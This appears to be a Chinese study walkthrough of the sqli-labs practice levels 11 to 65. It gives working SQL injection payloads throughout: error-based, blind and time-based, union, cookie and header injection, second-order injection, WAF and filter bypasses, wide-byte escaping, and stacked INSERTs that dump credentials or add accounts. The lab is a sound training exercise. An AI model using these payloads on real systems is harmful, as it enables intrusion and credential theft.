目录
less-11
这一关开始发现是post传参,是在输入框中输入,但总体思路不变
一般POST型使用1' or 1=1 -- #和1" or 1=1 -- # 来判断闭合方式,成功的概率最大因单双引号引起的闭合问题更大点
判断注入类型发现是字符型
判断闭合方式(发现是单引号闭合)
判断字段数(发现是两列)
判断回显位(发现两列均可以回显)
判断数据库名
爆出表名
爆出列名
爆出用户名和密码
less-12
采用“1\”直接爆出闭合方式为:(" ")
判断字段数(发现是两列)
如图是回显位
爆出数据库名,语句和lese-1一样,闭合方式换换就可以了
less-13
这关只有登录成功与失败,并且有报错信息的显示,但是没有回显,因此我们应该采用报错注入
这里我用updatexml函数
爆数据库名
1') and updatexml(1,concat('~',(select database())),3)#
爆表名
1') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#
爆列名(由于报错注入默认只能返回32个字符,因此我们采用substring来解决)
1') and updatexml(1,concat(0x7e,(select substring(group_concat(column_name),25,30) from information_schema.columns where table_name='users')),0x7e)#
爆用户名和密码
1') and updatexml(1,concat(0x7e,(select substring(group_concat(username,0x7e,password),25,30) from users)),0x7e)#
less-14
这一关只是闭合方式为双引号闭合,剩下与上一关一样
less-15
闭合方式为单引号闭合,但由于只有错误与正确的页面显示,因此我们用布尔盲注
//用or的原因,是我们不知道用户名(知道的话当然可以将1换成用户名),如果用and,用户名不对,返回的结果就是false,但or的话会返回true
1' or length((select database()))=8# //判断数据库名字长度
1' or ascii(substr((select database()),1,1))=115# //判断数据库名
1' or (select count(table_name) from information_schema.tables where table_schema=database())=4# //判断表的个数
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117# //判断表的名字
1' or (select count(column_name) from information_schema.columns where table_name='users')=14# //判断列的个数
1' or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1))=117# //判断列的名字
1' or (select count(username) from users)=13# //判断用户名和密码的个数
1' or ascii(substr((select username from users limit 0,1),1,1))=68# //判断用户名和密码
less-16
这一关只是闭合方式为双引号+括号,其他与上一关一致
less-17
由于这一关是当我们输入的用户名正确时才会执行下一步,因此我们只能用报错注入
//要在用户名处输入admin
1' and updatexml(1,concat(0x7e,(select database())),1)# //爆数据库名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)# //爆表名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)# //爆列名
由于在爆用户名和密码时发现总是报错,查询发现是原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表,故采用如下语句
1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)# //采用二次查询“将suers换成(select username from users)a”
//由于报错注入只能返回32位字符,因此我们可以采用substr函数或者mid函数
//这里用mid函数
1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#
less-18
借鉴资料发现,当我们正确登录页面时,会出现ua内容,因此我们应该在ua上注入(注入点)
查看源码发现我们输入的参数应该为3个(当然报错信息上也可以看出),且在第三个参数后面要加上单引号+括号,接下来我们抓包进行注入,这里依旧采用报错注入
如下图可以看出,爆出三个参数address,ua头,用户名
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
//三个参数:1,2,3)#形式
//也可采用3个参数的方式进行报错,下面的方式也是借鉴大佬的,比如''1''中内部单引号已经起到闭合的作用,所以外部就无作用了,无法闭合,导致语法错误,但'' ''可以成功执行,故采用'' and 1=1 and''的形式
' and updatexml(1,concat(0x7e,database(),0x7e),1) and ' //爆数据库名
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and ' //爆表名(-1是为让后面可以爆出信息)
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and ' //爆列名
-1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and ' //爆字段内容
less-19
我们先正确输入用户名和密码看页面反应,可以看到与上一关相似只不过换成了referer回显,因此我们抓包在bp上对referer进行报错注入即可
如图看到只有address,referer回显,因此与上一关不同的是,这关只需两个参数
我们猜测插入语句为('address','referer')因此我们采用 1',1)# 的格式报错注入即可
1',updatexml(1,concat(0x7e,database(),0x7e),1))# //爆数据库名
1',updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3))# //爆表名
1',updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3))# //爆列名
1',updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),3))# //爆数据
//爆数据的改良版
1',updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3))#
//该语句的username可以更换,limit可以一个一个查询到全部数据
less-20
这一关之前先了解如下信息
一、什么是cookie
cookie 由服务器发送出来并且存储在浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是很有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项
二、cookie注入的原理
cookie注入的原理和其他SQL注入的原理一样,只不过以前的参数我们使用get或者post方式提交,而cookie注入参数我们使用cookie的方式提交。
这一关我们在正确登录后会发现你的cookie信息,如下图,这暗含我们应该在cookie上下手,因此我们抓包截取cookie
如下图
在其后面加上单引号发现如下报错(limit 我们用注释符注释掉)
如下图我们在1=1处进行报错注入即可
类似如下语句不再赘述
uname=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#
less-21
这关依旧是cookie注入,但抓包发现是一串字符,查看是base64编码,于是我们同第一关,输入正确语句,进行base64编码即可(注意让前面的为-admin1,这样的话前面错误(不占用后面的回显位置),才能回显后面)
在用户名后面+单引号时发现报错,发现还得有括号
-admin') union select 1,2,database()# //进行加密即可
剩下不再赘述
less-22
抓包在用户名后面+单引号时页面正常,+双引号时页面报错,内容如下,得知闭合方式为双引号闭合,语句同上一关一样
less-23
发现这一关回到了get请求,如下图闭合方式为单引号闭合,并且过滤符已被过滤 ,参考了大佬的处理方法,如下
?id=1' or '1'='1
这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
不过在判断列数时候不能使用order by 去判断需要用?id=-1' union select 1,2,3,4 or '1'='1通过不停加数字判断最后根据页面显示是三列,且显示位是2号。
也可以将查询语句放入id字段中
'union select 1,2,3' //单引号之间放入查询语句即可
less-24
这一关实际上是二次注入,对此我进行了了解具体参考如下文章
【SQL注入】二次注入:原理、利用过程_黑色地带(崛起)的博客-优快云博客_sql注入二次注入
意思就是防御者对输入的恶意数据进行了转义字符的操作,但在数据库里面又将该数据还原了,而在后续调用该恶意数据时未进行检查的操作(默认是安全的),导致调用的时候数据并未转义而执行了(也就是被注入了)
如下图是二次注入的过程
比如我们在这关的注册页面操作:账号:admin'#; 密码:123456
在后续插入时已被转义,因此没有危害。接下来我们利用该注册账号,进行密码的修改;
由于密码修改的后端在调用sql查询语句时,查询到的依旧是admin'#(因为在数据库中被还原了)
但落实到sql语句中是如下情况
登录进去后,此时更改admin'#密码
相当于:
update password=$new where username=admin'#
(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密)
也就是更改了admin这一账号的密码(也就是管理员的密码),至此我们成功实现二次注入
在登录页面输入我们更改的账号密码,admin,111111,可以发现成功登陆
至此成功注入
less-25
根据提示该关卡将or与and替换成了空,并且只替换一次,因此我们用双写绕过
//information里面涉及or可以写成infoorrmation。
?id=-1' union select 1,2,group_concat(table_name)from infoorrmation_schema.table. where table_scham=database()--+
//也可以这样写
?id='union select 1,2,3'
less-25a
输入id=1返回正常
输入id=1'返回错误
输入id=1--+返回正常,说明没有闭合方式(剩下注意双写绕过即可)
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
less-26
第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换
在这里有一个陌生的符号:\s: 是匹配所有空白符,包括换行,\S 非空白符,不包括换行。也就是说在这里我们无法使用空格 ,\s会将其消掉。(在源码里面)
//空格绕过
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
这里用()绕过,同时用报错注入(报错注入用的空格少)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户
//这里可以采用'0的原因是||(or的含义)
//若是and则应该采用'1'='1的形式,保证这一部分为true
//或者
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))aandnd'0
//至于最后这种语句,我认为应该是报错注入独有的,因为当你 '内容' 两边是错误的时候,回显的报错内容依旧会爆出数据库名等(靠的是报错注入中的updatexml)
less-26a
如下图闭合方式为单引号+括号,报错不会有具体信息,因此需要使用联合注入与盲注
?id=1')anandd(length(database())=8)anandd('1')=('1
?id=1')anandd(substr(database(),1,1)='s')anandd('1')=('1
?id=1')anandd(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),7,1))=44)anandd('1')=('1
?id=1')anandd(ascii(mid((select(group_concat(username))from(security.users)),1,1))=68)anandd('1')=('1
less-27
首先写入参数1\,发现报错信息,发现为单引号闭合
文中已经提示我们已经过滤了union与select,因此我们可以双写绕过或者大小写结合
在此之前我们应该判断还过滤了什么,可以看到如下图,group by两词之间,空格被过滤了
此关我们用%a0绕过空格(这里的%00为url终止符,即会造成分号后面不在读取,代替注释符)
?id=1'%a0order%a0by%a03;%00
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(database()))),1))or'0
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where((table_name)='users')and(table_schema='security')),0x7e),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,0x7e,password))from(users)),0x7e),1)||'1'='1
less-27a
这关为双引号闭合,并且报错注入行不通,我们可以联合注入
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,database(),3%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,3%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from(information_schema.tables)where(table_schema='security')and"1
?id=0" %0a unioN %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,id,password)from%0Ausers%0Awhere%0Aid=3%0Aand"1
//记录一下,这一关明明显示回显位是1,2列,为什么在后面的表明,列明查询中,偏偏要放在第三列才能回显呢
//在爆密码时为何不能用一个回显位将其全部回显呢,这些答案都是分开放置或者单独回显,难道是一个回显位会不够吗?
less-28
闭合方式为(' '),依旧不能报错注入,过滤了空格,union与select
+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小,因此只能用重写绕过
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,3;%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,database(),3;%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)from(information_schema.tables)where(table_schema='security');%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)from(information_schema.columns)where(table_schema='security'and%0atable_name='users');%00
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,0x7e,password)from(users);%00
less-28a
这关与上一关一样,不再展示
less-29
闭合方式为单引号闭合,并且可以用--+注释,用联合注入即可
?id=-1' union select 1,2,group_concat(username,0x7e,password)from users --+
//类似上述语句即可,与第一关类似
但这一关不可能这么简单,于是看了其他大佬的wp发现参考:Sqli-labs-Less-29 (笔记)_小鸣同学的博客-优快云博客
这一关在web应用前有一个waf,在关卡列表界面直接点开是没有的,要在地址栏输入
客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了waf的功能。输入的参数经过tomcat服务器过滤后,再被传入到真正的服务端apache服务器上处理,然后逐层返回到客户端。
这里传入的参数只有一个,名为id,当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析。
我们在url后面输入login.php进入到受waf保护的界面
?id=0&id=-1' union select 1,2,database() --+
//第二个参数的语句与第一关类似
传入两个参数用&
符号隔开,第一个参数用于绕过waf,第二个参数则是传入apache服务器进行运行的注入代码。
less-30
与上一关类似,闭合方式为双引号闭合
?id=0&id=-1' union select 1,2,database() --+
less-31
这一关只是变换了闭合方式为(" "),剩下与上一关一样
less-32
闭合方式为单引号闭合,这题涉及到了特殊字符的转义,对此我们先做相关的了解
特殊字符转义与宽字节注入,常见的转义方式:
//1)自定义转义函数,比如:
function check_addslashes($string){
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash $string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash return $string;
}
//2)调用函数 addslashes()
//3)调用函数 mysql_real_escape_string()
它们都可能被宽字节注入绕过,原理如下:
以单引号'为例,它被转义为\',我们的目标是去掉反斜杠,将'逃逸出来。现在我们不输入',而是输入%df',被转义后它变成:%df\',也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字"運",从而使得%27,也就是单引号逃逸。
宽字节注入与普通注入payload上的区别就是:在会被转义的字符前加上%df。
参考文章:
?id=1%df' union select 1,2,database() --+
?id=1%df' union select 1,2,group_concat(username,0x7e,password)from users --+
//不再赘述
less-33
addslashes()函数:addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
实际上与上一关相同,不再赘述
less-34
这个题的绕过方式不太懂,借鉴一下大佬的想法
发现,在url栏中输入 %df 主要是以 16进制形式输入,而在输入框输入 %df 则是以普通字符串输入的。(输入框的地方不理解)
绕过方法:有些汉字的编码为三个字节的编码,我们将三个字节拆开来看,前两个为一组,后面的那个和 \ 相编码为两字节绕过,从而使得单引号逃逸。
含' union select 1,group_concat(username,0x7e,password) from users#
//还有就是同hackbar的post传参,按照
//uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit
//进行注入
less-35
这关依旧是addslashes函数绕过,但此id周围没有单引号或者双引号,直接简单联合注入即可
?id=-1 union select 1,2,database()--+
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)--+
//这里是多次查询语句的拼接
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='security'--+ //此处将'security'进行十六进制编码也可以绕过
//有疑问:为何该处的单引号前面+%df没用
?id=-1 union select 1,2,group_concat(username,0x7e,password)from users--+
less-36
mysql_real_escape_string()函数:转义在 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
可以使用 %df 进行绕过
?id=-1%df' union select 1,2,group_concat(username,0x7e,password)from users--+
//其余同32关
less-37
这关与上一关不同之处在于参数提交方式,剩余与34关一样
含' union select 1,2 #
含' union select 1,group_concat(username,0x7e,password)from users #
less-38
这关涉及到了堆叠注入,所以进行一下了解
mysli_multi_query()函数:
Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
简单来说:mysqli_multi_query() 函数:执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//执行完上述语句,我们得知了列名,此时我们根据具体列名,进行sql查询,删除等语句的执行
?id=-1' ;insert into users(id,username,password)values(115,'1234','4567');
?id=-1' ;insert into users(id,username,password)values(100,'772211','112277');
随后执行?id=56,可以看到自己成功插入了密码用户名
less-39
与上关相同思路,只不过id改为整数即可,无闭合方式
less-40
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
//上述是正常的联合注入,闭合方式为('')
//与上一关相同,亦可以堆叠注入
less-41
也是堆叠注入,id为整数即可
less-42
这一关的登录页面后端同样存在堆叠注入,因此思路是,通过堆叠注入,插入密码和用户名的语句,最后再用该用户名和密码登录页面即可
因为账户进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,因此我们从密码框下手
' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' #
//开始堆叠注入
1';insert into users(id,username,password)values(id,'111','222');#
注入成功
less-43
与上一关相同,只将闭合方式改为('')即可
less-44
这一关与42一样(插入语句时,页面虽然报错,但已经成功执行,可以登录验证)
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
'; insert into users(id,username,password)values(45,'123','321');#
less-45
这一关闭合方式改为了(' ')剩下与上一关一样
less-46
此关开始是order by注入
首先了解order by参数注入:
order by 注入是指其后面的参数是可控的
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注
order by(存在于sql语句中)
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password)from users limit 3,1),0x7e),1)
?sort=-1 and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1)
//这里有疑问,为何报用户名和密码的时候,用concat_ws不用group_concat,我发现前者用limit有效,后者没作用
less-47
这一关闭合方式改为单引号闭合,其余同上一关
?sort=-1' and updatexml(1,concat(0x7e,(select concat_ws(username,':',password) from users limit 0,1),0x7e),1)--+
less-48
这一关没有报错回显,因此用时间注入
?sort=-1 and if((ascii(substr(database(),1,1))=115),sleep(10),1) --+
?sort=-1 and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1) --+
less-49
同上一关,闭合方式为单引号
less-50
堆叠注入与order by的结合
?sort=1;insert into users(id,username,password)values(46,'101','101'); --+
less-51
改为单引号即可
less-52
这关依旧是时间注入,同时又堆叠注入
?sort=1;insert into users(id,username,password)values(99,'721','721'); --+
less-53
这一关同上一关,闭合方式为单引号即可
less-54
我们只能输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='x8lj8smowb'--+
访问可能性大的secret_35GP
?id=-1' union select 1,2,group_concat(secret_35GP)from x8lj8smowb--+
提交IP得:
less-55
这一关闭合方式为(),其余同上一关
?id=-1) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
less-56
闭合方式为(''),其余同上
less-57
查看到源码,闭合方式为双引号闭合
less-58
因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='dmmxvync29' limit 2,1),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select secret_H1H8 from dmmxvync29),0x7e),1) --+
less-59
与上一关一样
less-60
与58一样,闭合方式改为("")即可
less-61
同上,闭合方式改为((''))即可
less-62
这关联合注入与报错都不能用,用盲注入吧
?id=1') and if(length((select database()))=10,sleep(5),1)--+ 时间注入,如果出现延迟表示该数据库名长度是10
?id=1')and length((select database()))=10--+ 布尔盲注
less-63
闭合方式为单引号闭合,其余同上
less-64
闭合方式为(())
less-65
闭合方式为("")